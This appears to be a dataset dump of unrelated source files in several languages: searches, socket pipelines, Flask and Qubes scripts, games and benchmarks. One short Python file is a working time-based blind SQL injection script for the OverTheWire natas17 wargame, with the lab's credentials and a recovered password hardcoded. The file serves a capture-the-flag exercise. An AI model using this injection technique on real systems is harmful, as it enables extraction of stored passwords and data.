language stringclasses 15
values | src_encoding stringclasses 34
values | length_bytes int64 6 7.85M | score float64 1.5 5.69 | int_score int64 2 5 | detected_licenses listlengths 0 160 | license_type stringclasses 2
values | text stringlengths 9 7.85M |
|---|---|---|---|---|---|---|---|
Python | UTF-8 | 665 | 3.9375 | 4 | [] | no_license | def binarySearch(my_array, target):
left = 0
right = len(my_array) - 1
while left <= right:
mid = (left + right) // 2
mid_element = my_array[mid]
if target == mid_element:
print('element is at : ', mid)
return mid_element
elif target > mid_element:
left = mid + 1
else:
right = mid - 1
print('not found')
return
array = []
numbers = int(input('enter number of elements: '))
for i in range(numbers):
data = int(input())
array.append(data)
array.sort()
print(array)
key = int(input('enter any digit: '))
print(binarySearch(array, key))
|
Python | UTF-8 | 689 | 2.875 | 3 | [] | no_license | import requests
from time import *
url = "http://natas17.natas.labs.overthewire.org/"
uname = 'natas17'
password = '8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw'
all_possible_chars = '0123456789abcdefghijklmnopqrstuvwxysABCDEFGHIJKLMNOPQRSTUVWXYZ'
lis = list()
while(len("".join(lis))<32):
for char in all_possible_chars:
start_time = time()
data = {
"username":
'natas18" and binary password like "' + "".join(lis) + char +
'%" and sleep(2) #'
}
r = requests.post(url, data=data, auth=(uname, password))
end_time = time()
if (end_time - start_time) > 1.5:
lis.append(char)
print("".join(lis))
break
# natas18_password: xvKIqDjy4OPv7wCRgDlmj0pFsCsDjhdP |
Shell | UTF-8 | 1,700 | 3.15625 | 3 | [] | no_license | #!/bin/bash
qubes_vm_type="$(qubesdb-read /qubes-vm-type)"
config_foxyproxy(){
echo "Configuring Foxyproxy"
#disable Addon Signature verification
#echo 'pref("xpinstall.signatures.required", false);' > /home/user/.tb/tor-browser/Browser/TorBrowser/Data/Browser/profile.default/preferences/addons_unsigned_allow.js
#create symlink and copy custom foxyproxy rules
echo "\nAdding custom Foxyproxy Rules to TorBrowser"
if [ -d /home/user/.tb/tor-browser/Browser/TorBrowser/ ];then
if [ -d /usr/share/xul-ext/foxyproxy-standard/ ];then
ln -s /usr/share/xul-ext/foxyproxy-standard/ /home/user/.tb/tor-browser/Browser/TorBrowser/Data/Browser/profile.default/extensions/foxyproxy@eric.h.jung
cp /usr/share/usability-misc/tbb-foxyproxy/foxyproxy.xml /home/user/.tb/tor-browser/Browser/TorBrowser/Data/Browser/profile.default/
echo "Foxyproxy copied to TBB"
else
if [ -d /home/user/.tb/tor-browser/Browser/TorBrowser/Data/Browser/profile.default/extensions/foxyproxy@eric.h.jung ];then
cp /usr/share/usability-misc/tbb-foxyproxy/foxyproxy.xml /home/user/.tb/tor-browser/Browser/TorBrowser/Data/Browser/profile.default/
else
echo "Foxyproxy not found, install it via the addons site"
fi
fi
else
echo "TBB not found starting Whonix Tor Downloader"
update-torbrowser --noask
if [ -d /home/user/.tb/tor-browser/Browser/TorBrowser/ ];then
config_foxyproxy
else
echo "TBB not found"
fi
echo "OK"
}
#check in what kind of VM we're runnign
if [ "$qubes_vm_type" = "AppVM" ]; then
sleep 1
if [ -e /usr/share/anon-ws-base-files/workstation ]; then
config_foxyproxy
else
echo "Wrong VM"
fi
fi
|
JavaScript | UTF-8 | 1,270 | 3.015625 | 3 | [] | no_license | let fs = require ('fs');
let listarArchivo = ()
let empleados = [{
id: 1,
nombre: 'Juan'
},{
id: 2,
nombre: 'Pedro'
},{
id: 3,
nombre: 'Antonio'
}];
let productos = [{
id : 1,
nombre: 'arroz'
},{
id : 2,
nombre: 'Frijol'
},{
id : 3,
nombre: 'Avena'
}];
let buscarEmpleado = async (id) => {
let empleado = empleados.find(resp => id === resp.id);
if(!empleado) throw new Error('No existe un empleado con el id: ' +id);
else return empleado;
}
let buscarProducto = async (idProducto) => {
let producto = productos.find(producto => idProducto === producto.id);
if(!producto) throw new Error('No existe un producto con el id: ' +idProducto);
else return producto;
}
let crearArhivo = async (idEmpleado, idProducto) => {
let empleado = await buscarEmpleado(idEmpleado);
let producto = await buscarProducto(idProducto);
let data = 'ID Cliente: ' +empleado.id +'\n' +' Nombre Cliente: ' +empleado.nombre
+'\n------------------------\nID Producto: ' +producto.id +'\n Producto: '
+producto.nombre;
fs.writeFile('./Cliente-' +empleado.id +'.txt', data, (err) => {
if(err) throw new Error('No se pudo crear el archivo');
});
return 'Archivo creado: Cliente-' +empleado.id +'.txt';
}
module.exports = {
crearArhivo,
buscarEmpleado
} |
C# | UTF-8 | 4,713 | 2.53125 | 3 | [
"MIT"
] | permissive | using Microsoft.Extensions.Logging;
using Microsoft.Extensions.Logging.Abstractions;
using System;
using System.Diagnostics;
using System.IO.Pipelines;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Threading;
using System.Threading.Tasks;
namespace NeoFx.TestNode
{
public interface IPipelineSocket : IDuplexPipe, IDisposable
{
EndPoint RemoteEndPoint { get; }
Task ConnectAsync(IPEndPoint endpoint, CancellationToken token = default);
}
public sealed class PipelineSocket : IPipelineSocket, IDisposable
{
private readonly Socket socket = new Socket(SocketType.Stream, ProtocolType.Tcp);
private readonly Pipe sendPipe = new Pipe();
private readonly Pipe recvPipe = new Pipe();
private readonly ILogger<PipelineSocket> log;
public PipeReader Input => recvPipe.Reader;
public PipeWriter Output => sendPipe.Writer;
public EndPoint RemoteEndPoint => socket.RemoteEndPoint;
public PipelineSocket(ILogger<PipelineSocket>? log = null)
{
this.log = log ?? NullLogger<PipelineSocket>.Instance;
}
public void Dispose()
{
socket.Dispose();
}
public async Task ConnectAsync(IPEndPoint endpoint, CancellationToken token = default)
{
log.LogInformation("connecting to {host}:{port}", endpoint.Address, endpoint.Port);
var args = new SocketAsyncEventArgs();
args.RemoteEndPoint = endpoint;
var awaitable = new SocketAwaitable(args);
await socket.ConnectAsync(awaitable);
Execute(token);
}
private void Execute(CancellationToken token)
{
StartSocketReceive(token)
.LogResult(log, nameof(StartSocketReceive),
ex => recvPipe.Writer.Complete(ex));
StartSocketSend(token)
.LogResult(log, nameof(StartSocketSend),
ex => sendPipe.Reader.Complete(ex));
}
private async Task StartSocketReceive(CancellationToken token)
{
var writer = recvPipe.Writer;
var args = new SocketAsyncEventArgs();
var awaitable = new SocketAwaitable(args);
while (!token.IsCancellationRequested)
{
var memory = writer.GetMemory();
args.SetBuffer(memory);
await socket.ReceiveAsync(awaitable);
var bytesRead = args.BytesTransferred;
log.LogDebug("received {bytesRead} bytes from socket", bytesRead);
if (bytesRead == 0)
{
break;
}
writer.Advance(bytesRead);
var flushResult = await writer.FlushAsync(token).ConfigureAwait(false);
log.LogDebug("Advanced and flushed {bytesRead} to receive pipe {IsCompleted} {IsCanceled}", bytesRead, flushResult.IsCompleted, flushResult.IsCanceled);
if (flushResult.IsCompleted)
{
break;
}
if (flushResult.IsCanceled)
{
throw new OperationCanceledException();
}
}
}
private async Task StartSocketSend(CancellationToken token)
{
var reader = sendPipe.Reader;
var args = new SocketAsyncEventArgs();
var awaitable = new SocketAwaitable(args);
while (!token.IsCancellationRequested)
{
var readResult = await reader.ReadAsync(token).ConfigureAwait(false);
log.LogDebug("sendPipe read {length} bytes {IsCanceled} {IsCompleted}", readResult.Buffer.Length, readResult.IsCanceled, readResult.IsCompleted);
if (readResult.IsCanceled)
{
throw new OperationCanceledException();
}
var buffer = readResult.Buffer;
if (buffer.Length > 0)
{
foreach (var segment in buffer)
{
args.SetBuffer(MemoryMarshal.AsMemory(segment));
await socket.SendAsync(awaitable);
log.LogDebug("sent {length} via socket", segment.Length);
}
}
reader.AdvanceTo(buffer.End);
log.LogDebug("sendPipe advanced to {end}", buffer.End.GetInteger());
if (readResult.IsCompleted)
{
break;
}
}
}
}
}
|
Python | UTF-8 | 4,509 | 2.703125 | 3 | [] | no_license | from functools import reduce
import re
import sys
RANGE_PATTERN = re.compile(
r'^(?P<name>[\w\ ]+): (?P<range_1>\d+\-\d+) or (?P<range_2>\d+\-\d+)$')
def parse_category_ranges(ranges_block):
range_matches = (RANGE_PATTERN.match(range_line).groupdict()
for range_line in ranges_block.split('\n'))
return {
group['name']: [
[int(part) for part in range_expression.split('-')]
for range_expression in (group['range_1'], group['range_2'])
] for group in range_matches
}
def parse_tickets(tickets_expression):
return [
[int(value) for value in line.split(',')]
for line in tickets_expression.split('\n')[1:]
]
def parse_input(input):
ranges_block, my_ticket_block, nearby_tickets_block = \
input.replace('\r\n', '\n').split('\n\n')
return {
"categories_ranges": parse_category_ranges(ranges_block),
"my_ticket": parse_tickets(my_ticket_block)[0],
"nearby_tickets": parse_tickets(nearby_tickets_block),
}
def value_in_category_ranges(value, category_ranges):
return any((min_value <= value <= max_value for min_value, max_value in category_ranges))
def is_value_valid(value, categories_ranges):
return any((value_in_category_ranges(value, category_ranges) for category_ranges in categories_ranges.values()))
def is_ticket_valid(ticket, categories_ranges):
return all((is_value_valid(value, categories_ranges) for value in ticket))
def filter_valid_tickets(tickets, categories_ranges):
return [ticket for ticket in tickets if is_ticket_valid(ticket, categories_ranges)]
def map_all_values_by_index(tickets):
return {index: [ticket[index] for ticket in tickets] for index, __ in enumerate(tickets[0])}
def sum_invalid_values(nearby_tickets, categories_ranges):
return sum([
value
for ticket in nearby_tickets
for value in ticket if not is_value_valid(value, categories_ranges)
])
def identify_possible_categories(values, categories_ranges):
return [
category_name
for category_name, category_ranges in categories_ranges.items()
if all((value_in_category_ranges(value, category_ranges) for value in values))
]
def filter_index_categories(filtered_index_categories, unpicked_categories, all_values_by_index):
return {
index: (
filtered_index_categories[index]
if index in filtered_index_categories and len(filtered_index_categories[index]) == 1
else identify_possible_categories(values, unpicked_categories)
)
for index, values in all_values_by_index.items()
}
def find_unpicked_categories(unpicked_categories, filtered_index_categories):
unpicked_names = [
category_names[0]
for category_names in filtered_index_categories.values()
if len(category_names) == 1 and category_names[0] in unpicked_categories
]
return {name: ranges for name, ranges in unpicked_categories.items() if name not in unpicked_names}
def identify_categories(categories_ranges, all_values_by_index):
unpicked_categories = {**categories_ranges}
filtered_index_categories = {}
while len(unpicked_categories) > 0:
filtered_index_categories = filter_index_categories(
filtered_index_categories, unpicked_categories, all_values_by_index)
unpicked_categories = find_unpicked_categories(
unpicked_categories, filtered_index_categories)
return {category_names[0]: index for index, category_names in filtered_index_categories.items()}
def my_ticket_product(nearby_tickets, categories_ranges, my_ticket):
valid_tickets = filter_valid_tickets(nearby_tickets, categories_ranges)
all_values_by_index = map_all_values_by_index(valid_tickets)
departure_categories_indexes = (
index
for name, index in identify_categories(categories_ranges, all_values_by_index).items()
if 'departure' in name
)
departure_values = (
my_ticket[index]
for index in departure_categories_indexes
)
return reduce(lambda memo, value: memo * value, departure_values, 1)
spec = parse_input(sys.stdin.read())
print('solution 1:', sum_invalid_values(
spec['nearby_tickets'], spec['categories_ranges']))
print('solution 2:', my_ticket_product(**spec))
|
JavaScript | UTF-8 | 4,398 | 3.328125 | 3 | [] | no_license | var width = 750;
var length = 500;
var cutegirlObjects = [];
var result, runresult, runresultleft, jumpresult;
var i = 0;
var myInterval;
var index = 0;
//blob elements
var j = [];
var k = [];
var x = [];
var y = [];
var b = [];
var z = [];
var pinkblob;
var darkpinkblob;
var purpleblob;
//background sound
var audio = new Audio('assets/cheerful-background-music.mp3');
function preload() {
result = loadStrings('assets/characteridle.txt');
runresult = loadStrings('assets/characterrun.txt');
runresultleft = loadStrings('assets/characterrunleft.txt');
jumpresult = loadStrings('assets/characterjump.txt');
}
function setup() {
createCanvas(750, 500);
//background sound (https://stackoverflow.com/questions/9419263/how-to-play-audio & https://stackoverflow.com/questions/3273552/html5-audio-looping)
audio.loop = true;
audio.play();
//health bar (https://stackoverflow.com/questions/20277052/how-to-make-a-health-bar/20277165)
health = document.getElementById("health");
//random
x = random(1750);
y = random(1500);
j = random(1750);
k = random(1500);
b = random(1750);
z = random(1500);
//sprites
cutegirlObjects = createSprite(300, 250);
cutegirlObjects.addAnimation('idle', 'assets/' + result[0], 'assets/' + result[result.length - 1]);
cutegirlObjects.addAnimation('run', 'assets/' + runresult[0], 'assets/' + runresult[runresult.length - 1]);
cutegirlObjects.addAnimation('runleft', 'assets/' + runresultleft[0], 'assets/' + runresultleft[runresultleft.length - 1]);
cutegirlObjects.addAnimation('jumpresult', 'assets/' + jumpresult[0], 'assets/' + jumpresult[jumpresult.length - 1]);
//random blob placement
pinkblob = createSprite(x, y);
pinkblob.addImage(loadImage('assets/pinkblob.png'));
darkpinkblob = createSprite(j, k);
darkpinkblob.addImage(loadImage('assets/darkpinkblob.png'));
purpleblob = createSprite(b, z);
purpleblob.addImage(loadImage('assets/purpleblob.png'));
// setInterval(incrementIndex, 50);
}
function draw()
{
background(90);
//border
fill(0);
rect(0, 0, 750, 10);
rect(0, 0, 10, 500);
rect(0, 500 - 10, 750, 10);
rect(750 - 10, 0, 10, 500 - 100);
//Exit elements
stroke(0);
fill(0);
text("EXIT", width - 35, length - 25);
//check to see if sprite left exit - cutegirlObjects or sprite?
if (cutegirlObjects > 750 && cutegirlObjects > width - 100)
{
fill(0);
stroke(10);
text("You Won!", width / 2 - 50, length / 2 - 50);
}
//health bar = wonky
health.value = 100
//move right
if (keyDown('d'))
{
cutegirlObjects.changeAnimation('run');
cutegirlObjects.velocity.x += 1;
}
//move left
else if (keyDown('a'))
{
cutegirlObjects.changeAnimation('runleft');
cutegirlObjects.velocity.x -= 1;
}
//attack(jump) to make obstacles disappear
if (keyDown('x'))
{
cutegirlObjects.changeAnimation('jump');
//make the object disappear
}
//move up
else if (keyDown('w'))
{
cutegirlObjects.velocity.y -= 1;
}
//move down
else if (keyDown('s'))
{
cutegirlObjects.velocity.y += 1;
}
else (keyDown(''))
{
cutegirlObjects.changeAnimation('idle');
cutegirlObjects.velocity.x += 0;
cutegirlObjects.velocity.y += 0;
}
//collsion, could also do the double line or OR thing
if (cutegirlObjects.collide(pinkblob))
{
cutegirlObjects.changeAnimation('idle');
health.value -= 1; //minus on the health bar
}
else if (cutegirlObjects.collide(darkpinkblob))
{
cutegirlObjects.changeAnimation('idle');
health.value -= 1; //minus on the health bar
}
else (cutegirlObjects.collide(purpleblob))
{
cutegirlObjects.changeAnimation('idle');
health.value -= 1; //minus on the health bar
}
cutegirlObjects.debug = mouseIsPressed;
pinkblob.debug = mouseIsPressed;
darkpinkblob.debug = mouseIsPressed;
purpleblob.debug = mouseIsPressed;
//make sprite smaller and display
scale(.25, .25);
drawSprites();
}
|
Python | UTF-8 | 2,287 | 2.625 | 3 | [] | no_license | import os
import requests
from requests.auth import HTTPBasicAuth
import json
from flask import Flask, render_template, flash, request
from werkzeug.utils import secure_filename
def create_app(test_config=None):
# create and configure the app
app = Flask(__name__, instance_relative_config=True)
app.config.from_mapping(
SECRET_KEY='dev',
# DATABASE=os.path.join(app.instance_path, 'flaskr.sqlite'),
)
SECRET_KEY='dev'
headers = {'Content-type': 'application/json'}
headers['Authorization'] = 'Bearer ' + SECRET_KEY
#if test_config is None:
# load the instance config, if it exists, when not testing
# app.config.from_pyfile('config.py', silent=True)
#else:
# load the test config if passed in
# app.config.from_mapping(test_config)
# ensure the instance folder exists
try:
os.makedirs(app.instance_path)
except OSError:
pass
# a simple page that says hello
@app.route('/hello')
def hello():
return 'Hello, World!'
@app.route('/level1')
def level1():
servers = ['http://178.128.69.227/stats', 'http://206.189.12.5/stats']
response = requests.get("https://api.digitalocean.com/v2/droplets", headers=headers)
j = json.loads(response.text)
droplets_list = j['droplets']
name_vol_list = []
for s in servers:
val = requests.get(s)
z = val.text.split()
speed = z[0]
free = z[1]
name_vol_list.append([s.split('/')[2], speed, free])
return render_template('level1.html', droplets=name_vol_list)
@app.route('/level2')
def level2():
servers = ['http://178.128.69.227/stats', 'http://206.189.12.5/stats']
response = requests.get("https://api.digitalocean.com/v2/droplets", headers=headers)
j = json.loads(response.text)
droplets_list = j['droplets']
name_vol_list = []
for s in servers:
val = requests.get(s)
z = val.text.split()
speed = z[0]
free = z[1]
name_vol_list.append([s.split('/')[2], speed, free])
return render_template('level1.html', droplets=name_vol_list)
return app
|
Rust | UTF-8 | 186 | 2.578125 | 3 | [] | no_license | use serde::Serialize;
#[derive(Serialize)]
pub struct Foo{
x: u64,
}
#[no_mangle]
pub extern "C" fn call_test_function(x: u64, y: u64 ) -> u64 {
testing::test_function(x, y)
}
|
Python | UTF-8 | 1,174 | 3.453125 | 3 | [] | no_license | # Description
#
#____
import os
from os import walk
# Output full path of an inputted file name (incl. extension)
def get_fullPath_of_fileName(fileName):
# Get full path of current directory
directoryFullPath = os.getcwd()
# Identify all occurences of the file name in entire directory and add them to a list, where an element is the full path of the file name
listOfFilesFound=[]
for root, _, files in walk(directoryFullPath):
for file in files:
if file.lower() == fileName.lower():
fileNameFullPath = os.path.join(root, file)
listOfFilesFound.append(fileNameFullPath)
break
# Check if the file name is found and only occurs once
listOfFilesFoundCount = len(listOfFilesFound)
if listOfFilesFoundCount != 1:
raise Exception(fileName + " occurs "+str(listOfFilesFoundCount)+" times in the directory: "+ directoryFullPath)
# Return full path of the file name
return str( listOfFilesFound[0] )
# Run entire file or script
def run_fileName(fileName):
fileNameFullPath = get_fullPath_of_fileName(fileName)
exec( open(fileNameFullPath).read() ) |
Java | UTF-8 | 7,366 | 2.078125 | 2 | [
"MIT"
] | permissive | package com.team2052.frckrawler.fragments.metric.dialog;
import android.app.Dialog;
import android.os.Bundle;
import android.support.v4.app.DialogFragment;
import android.support.v7.app.AlertDialog;
import android.support.v7.app.AppCompatActivity;
import android.view.View;
import android.widget.AdapterView;
import android.widget.EditText;
import android.widget.FrameLayout;
import android.widget.Spinner;
import android.widget.Toast;
import com.google.common.base.Optional;
import com.team2052.frckrawler.R;
import com.team2052.frckrawler.database.DBManager;
import com.team2052.frckrawler.database.MetricHelper;
import com.team2052.frckrawler.database.MetricHelper.MetricFactory;
import com.team2052.frckrawler.db.Game;
import com.team2052.frckrawler.db.Metric;
import com.team2052.frckrawler.listeners.ListUpdateListener;
import com.team2052.frckrawler.views.ListEditor;
/**
* @author Adam
*/
public class AddMetricDialogFragment extends DialogFragment implements AdapterView.OnItemSelectedListener, View.OnClickListener {
private static final String GAME_NAME_EXTRA = "GAME_NAME";
private static final String METRIC_CATEGORY = "METRIC_CATEGORY";
private int mMetricCategory;
private ListEditor list;
private int mCurrentSelectedMetricType;
private Game mGame;
private Spinner mMetricTypeSpinner;
private EditText mName, mDescription, mMinimum, mMaximum, mIncrementation;
private FrameLayout mListEditor;
private View mListHeader;
private DBManager mDBManager;
public static AddMetricDialogFragment newInstance(int metricCategory, Game game) {
AddMetricDialogFragment f = new AddMetricDialogFragment();
Bundle args = new Bundle();
args.putInt(METRIC_CATEGORY, metricCategory);
args.putLong(GAME_NAME_EXTRA, game.getId());
f.setArguments(args);
return f;
}
@Override
public void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Bundle args = getArguments();
mMetricCategory = args.getInt(METRIC_CATEGORY, -1);
mDBManager = DBManager.getInstance(getActivity());
mGame = mDBManager.getGamesTable().load(args.getLong(GAME_NAME_EXTRA));
list = new ListEditor(getActivity());
}
@Override
public Dialog onCreateDialog(final Bundle savedInstanceState) {
AlertDialog.Builder b = new AlertDialog.Builder(getActivity());
b.setTitle("Add Metric");
b.setView(initViews());
b.setPositiveButton("Add", (dialog, which) -> {
AddMetricDialogFragment.this.saveMetric();
});
b.setNegativeButton("Cancel", null);
mMetricTypeSpinner.setOnItemSelectedListener(this);
mMetricTypeSpinner.setSelection(0);
return b.create();
}
private View initViews() {
View view = getActivity().getLayoutInflater().inflate(R.layout.fragment_add_metric, null);
mMetricTypeSpinner = (Spinner) view.findViewById(R.id.type);
mName = (EditText) view.findViewById(R.id.name);
mDescription = (EditText) view.findViewById(R.id.description);
mMinimum = (EditText) view.findViewById(R.id.minimum);
mMaximum = (EditText) view.findViewById(R.id.maximum);
mIncrementation = (EditText) view.findViewById(R.id.incrementation);
mListEditor = (FrameLayout) view.findViewById(R.id.list_editor);
mListHeader = view.findViewById(R.id.list_header);
return view;
}
private void saveMetric() {
Metric m = null;
String name = mName.getText().toString();
String description = mDescription.getText().toString();
final MetricFactory metricFactory = new MetricFactory(mGame, name);
metricFactory.setDescription(description);
metricFactory.setMetricCategory(MetricHelper.MetricCategory.values()[mMetricCategory]);
metricFactory.setMetricType(MetricHelper.MetricType.values()[mCurrentSelectedMetricType]);
switch (MetricHelper.MetricType.values()[mCurrentSelectedMetricType]) {
case COUNTER:
try {
metricFactory.setDataMinMaxInc(
Integer.parseInt(mMinimum.getText().toString()),
Integer.parseInt(mMaximum.getText().toString()),
Optional.of(Integer.parseInt(mIncrementation.getText().toString())));
} catch (NumberFormatException e) {
Toast.makeText(getActivity(), "Could not create add_button. Make sure you " + "have filled out all of the necessary fields.", Toast.LENGTH_SHORT).show();
return;
}
break;
case SLIDER:
try {
metricFactory.setDataMinMaxInc(
Integer.parseInt(mMinimum.getText().toString()),
Integer.parseInt(mMaximum.getText().toString()),
Optional.absent());
} catch (NumberFormatException e) {
Toast.makeText(getActivity(), "Could not create add_button. Make sure you " + "have filled out all of the necessary fields.", Toast.LENGTH_SHORT).show();
return;
}
break;
case CHOOSER:
case CHECK_BOX:
metricFactory.setDataListIndexValue(list.getValues());
break;
}
mDBManager.getMetricsTable().insert(metricFactory.buildMetric());
((ListUpdateListener) getParentFragment()).updateList();
dismiss();
}
@Override
public void onItemSelected(AdapterView<?> parent, View view, int position, long id) {
mCurrentSelectedMetricType = position;
switch (MetricHelper.MetricType.values()[position]) {
case COUNTER:
mMinimum.setVisibility(View.VISIBLE);
mMaximum.setVisibility(View.VISIBLE);
mIncrementation.setVisibility(View.VISIBLE);
mListEditor.removeAllViews();
mListHeader.setVisibility(View.GONE);
break;
case SLIDER:
mMinimum.setVisibility(View.VISIBLE);
mMaximum.setVisibility(View.VISIBLE);
mIncrementation.setVisibility(View.GONE);
mListEditor.removeAllViews();
mListHeader.setVisibility(View.GONE);
break;
case CHECK_BOX:
case CHOOSER:
mMinimum.setVisibility(View.GONE);
mMaximum.setVisibility(View.GONE);
mIncrementation.setVisibility(View.GONE);
list = new ListEditor(getActivity());
mListEditor.removeAllViews();
mListEditor.addView(list);
mListHeader.setVisibility(View.VISIBLE);
break;
default:
mMinimum.setVisibility(View.GONE);
mMaximum.setVisibility(View.GONE);
mIncrementation.setVisibility(View.GONE);
mListEditor.removeAllViews();
mListHeader.setVisibility(View.GONE);
break;
}
}
@Override
public void onNothingSelected(AdapterView<?> parent) {
}
@Override
public void onClick(View v) {
}
}
|
Shell | UTF-8 | 2,284 | 4.09375 | 4 | [
"MIT"
] | permissive | #!/bin/bash
if [ $# -lt 2 ]
then
echo "Usage: $0 job_name number_of_stacks"
exit 1
fi
log=$1_stacks-`date +%H%M`.log
time_log=$1_time_log-`date +%H%M`.log
api_time_log=$1_api_time_log-`date +%H%M`.log
per_request_log=$1_per_request_log-`date +%H%M`.log
avg_request_log=$1_avg_request_log-`date +%H%M`.log
too_slow=0
count=$2
host_list=`rancher hosts --format '{{.Host.AgentIpAddress }}'`
host_count=`echo $host_list | wc -w`
global_service=1
if [ ! -e nginx/docker-compose.yml ] || [ ! -e nginx/rancher-compose.yml ]
then
echo "Can't find stack files"
exit 1
fi
pushd nginx
for i in `seq 1 $count`
do
# check if we hit the slow reposne limit
if [ $too_slow -ge 5 ]
then
echo "That's it."
exit 1
fi
# add a new stack, count seconds and log
SECONDS=0
rancher up -d -s nginx-$i | tee -a ../$log
duration=$SECONDS
echo $duration
echo "`date "+%F %T"` stack-$i $duration" >> ../$time_log
# check if the stack too longer than it should.
# increment the slow couner if it did
if [ $duration -gt 60 ]
then
((too_slow++))
echo "too_slow=$too_slow"
# decrement the counter to account for outliers.
elif [ $duration -lt 60 ] && [ $too_slow -gt 0 ]
then
((too_slow--))
fi
# check api reponse times and log.
SECONDS=0
rancher stack ls -q > /dev/null
stack_ls_duration=$SECONDS
SECONDS=0
rancher ps -c > /dev/null
container_ls_duration=$SECONDS
echo "`date "+%F %T"` stack-$i $duration $stack_ls_duration $container_ls_duration" >> ../$api_time_log
# check the global service reponse time.
if [ $global_service -eq 1 ]
then
total_duration=0
failed=0
for host in $host_list
do
SECONDS=0
curl -s -f http://$host:8000/ 2>&1 > /dev/null
s=$?
req_duration=$SECONDS
if [ $s -ne 0 ]
then
((failed++))
fi
echo "`date "+%F %T"` stack-$i $host $req_duration $s" >> ../$per_request_log
let total_duration=$total_duration+$req_duration
done
let avg_duration=$total_duration/$host_count
echo "`date "+%F %T"` stack-$i $total_duration $avg_duration $failed" >> ../$avg_request_log
fi
done
popd
echo "Done. `rancher stack ls -q | wc -l` stacks running. `rancher ps -c | wc -l` containers running."
|
C++ | UTF-8 | 824 | 2.671875 | 3 | [] | no_license | #include <cstdio>
using namespace std;
typedef unsigned long long ull;
ull dbl_area(ull x1, ull y1, ull x2, ull y2, ull x3, ull y3) {
return x1 * (y3 - y2) + x2 * (y1 - y3) + x3 * (y2 - y1);
}
int main() {
int zz;
scanf("%d", &zz);
for (int z = 1; z <= zz; ++z) {
int N, M, A;
scanf("%d%d%d", &N, &M, &A);
int found = 0;
for (int x2 = 0; x2 <= N; ++x2)
for (int y2 = 0; y2 <= M; ++y2)
for (int x3 = 0; x3 <= N; ++x3)
for (int y3 = 0; y3 <= M; ++y3) {
if (dbl_area(0, 0, x2, y2, x3, y3) == A) {
printf("Case #%d: 0 0 %d %d %d %d\n", z, x2, y2, x3, y3);
found = 1;
goto end;
}
}
end:
if (!found)
printf("Case #%d: IMPOSSIBLE\n", z);
}
return 0;
} |
Java | UTF-8 | 7,565 | 2.46875 | 2 | [] | no_license | import kdb.Client;
import kdb.KdbException;
import java.io.*;
import java.util.*;
import java.util.concurrent.*;
import java.util.function.*;
import java.nio.ByteBuffer;
import java.nio.ByteOrder;
import java.util.concurrent.atomic.AtomicInteger;
import java.time.LocalTime;
import java.time.LocalDateTime;
import com.google.gson.Gson;
public class XProcess5 {
private static String events = "xevents";
private static String states = "xstates";
private static String[] uris;
private final static int hours = 6;
private final static int min5 = 12;
public static class EventSource implements Runnable {
private int id;
private Random rnd;
private int valSize;
private UUID[] deviceIds;
public EventSource(int id) {
this.id = id;
rnd = new Random();
valSize = 300;
}
private void init() {
deviceIds = new UUID[125000]; //(150000000/3600.0)*300/100
for(int i = 0; i < deviceIds.length; i++) {
deviceIds[i] = UUID.randomUUID();
}
}
private void write(Client client, List<byte[]> keys, List<byte[]> values) {
int retry = 5;
do {
try {
client.put(keys, values);
return;
} catch(KdbException e) {
retry--;
}
} while(retry>0);
throw new KdbException("timed out");
}
public void run() {
List<byte[]> keys = new ArrayList<byte[]>();
List<byte[]> values = new ArrayList<byte[]>();
int batchSize = 1000;
long total = 0;
int basem = LocalDateTime.now().getMinute() - 1;
while(true) {
int hour = LocalDateTime.now().getHour();
try (Client client = new Client("http://localhost:8000/", events)) {
client.open();
int m = 0;
do {
LocalDateTime now = LocalDateTime.now();
m = now.getMinute();
byte bucket = (byte)(m/5);
keys.clear();
values.clear();
init();
long t1 = System.nanoTime();
for(int i = 0; i < deviceIds.length; i++) {
UUID guid = deviceIds[i];
for(int k = 0; k < 6; k++) {
ByteBuffer key = ByteBuffer.allocate(17).order(ByteOrder.BIG_ENDIAN);
key.put(bucket);
key.putLong(guid.getMostSignificantBits()).putLong(guid.getLeastSignificantBits());
keys.add(key.array());
byte[] value = new byte[valSize];
rnd.nextBytes(value);
values.add(value);
}
if(keys.size() >= batchSize) {
write(client, keys, values);
total += keys.size();
keys.clear();
values.clear();
}
}
if(keys.size() > 0) {
write(client, keys, values);
total += keys.size();
}
long t2 = System.nanoTime();
System.out.printf("source %d total %d for bucket %d took %e \n", id, total, bucket, (t2-t1)/1e9);
} while (m != basem);
} catch(KdbException e) {
System.out.printf("event source %d failed", id);
}
System.out.printf("source %d finished running for hour %d \n", id, hour);
}
}
}
public static class Query implements Runnable {
private int id;
private byte[] valueState;
private Random rnd;
public Query(int id) {
this.id = id;
rnd = new Random();
valueState = new byte[7000*8];
rnd.nextBytes(valueState);
}
private void getEvents(byte[] key1, byte[] key2, List<byte[]> keys) {
try (Client eventClient = new Client("http://localhost:8000/", events)) {
eventClient.open();
int count = 0;
Client.Result rsp = eventClient.scanForward(key1, key2, 1000);
count += rsp.count();
keys.addAll(rsp.keys());
while(rsp.token().length() > 0) {
try {
rsp = eventClient.scanNext(1000);
keys.addAll(rsp.keys());
count += rsp.count();
} catch(KdbException e) {
System.out.println(e);
}
}
if(count > 0) {
processEvents(keys);
}
}
}
private void processEvents(List<byte[]> eventKeys) {
if(eventKeys.size() == 0)
return;
try (Client client = new Client("http://localhost:8000/", states+id)) {
long s1 = System.nanoTime();
client.openCompressed("snappy");
List<byte[]> values = new ArrayList<byte[]>();
List<byte[]> keys = new ArrayList<byte[]>();
int index = 0; int step = 100;
int count = 0;
int existedKeys = 0;
for(index = 0; (index + step) < eventKeys.size(); index += step) {
keys.add(eventKeys.get(index));
//Client.Result rsp = client.get(keys);
values.add(Arrays.copyOf(valueState, valueState.length));
if(keys.size() > 1000) {
client.put(keys, values);
count += keys.size();
keys.clear();
values.clear();
}
}
long s2 = System.nanoTime();
System.out.printf("q %d state writing keys %d in %e seconds \n", id, count, (s2-s1)/1e9);
client.drop();
}
}
public void run() {
List<byte[]> keys = new ArrayList<byte[]>();
while(true) {
for (int i = 0; i < 13; i++) {
byte bucket = (byte)i;
byte[] k1 = new byte[]{bucket};
byte[] k2 = new byte[]{(byte)(bucket+1)};
keys.clear();
try {
long t1 = System.nanoTime();
getEvents(k1, k2, keys);
long t2 = System.nanoTime();
System.out.printf("q %d for bucket %d read %d keys in %e seconds \n", id, bucket, keys.size(), (t2-t1)/1e9);
t1 = System.nanoTime();
processEvents(keys);
